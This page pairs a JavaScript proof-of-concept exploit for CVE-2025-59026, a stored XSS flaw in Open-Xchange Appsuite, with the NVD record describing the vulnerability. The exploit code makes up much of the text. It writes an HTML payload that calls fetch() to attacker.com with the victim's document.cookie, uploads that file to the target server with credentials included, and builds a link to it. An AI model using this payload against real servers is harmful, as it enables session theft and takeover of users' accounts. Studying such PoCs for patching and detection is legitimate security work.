CVE-2025-59026

// CVE-2025-59026 PoC - Open-Xchange Appsuite Stored XSS // This PoC demonstrates the stored XSS vulnerability via file upload // Step 1: Create malicious file with XSS payload const maliciousContent = '<script>\n fetch("https://attacker.com/steal?cookie=" + document.cookie)\n<\/script>'; // Step 2: Upload malicious file to Open-Xchange Appsuite async function uploadMaliciousFile() { const uploadUrl = 'https://target-server/ajax/upload'; const formData = new FormData(); formData.append('file', new Blob([maliciousContent]), 'malicious.html'); const response = await fetch(uploadUrl, { method: 'POST', credentials: 'include', body: formData }); return response.json(); } // Step 3: Generate attacker-controlled link to the uploaded file function generateAttackerLink(fileId) { return `https://target-server/redirect?file=${fileId}`; } // Step 4: XSS payload - Cookie stealing // The script executes when victim views the uploaded file, // sending cookies to attacker's server console.log('[+] XSS Payload: Cookie stealing initiated');

{"cve": {"id": "CVE-2025-59026", "sourceIdentifier": "[email protected]", "published": "2025-11-27T10:15:52.007", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Malicious content uploaded as file can be used to execute script code when following attacker-controlled links. Unintended actions can be executed in the context of the users account, including exfiltration of sensitive information. Please deploy the provided updates and patch releases. No publicly available exploits are known"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://documentation.open-xchange.com/appsuite/security/advisories/csaf/2025/oxas-adv-2025-0003.json", "source": "[email protected]"}]}}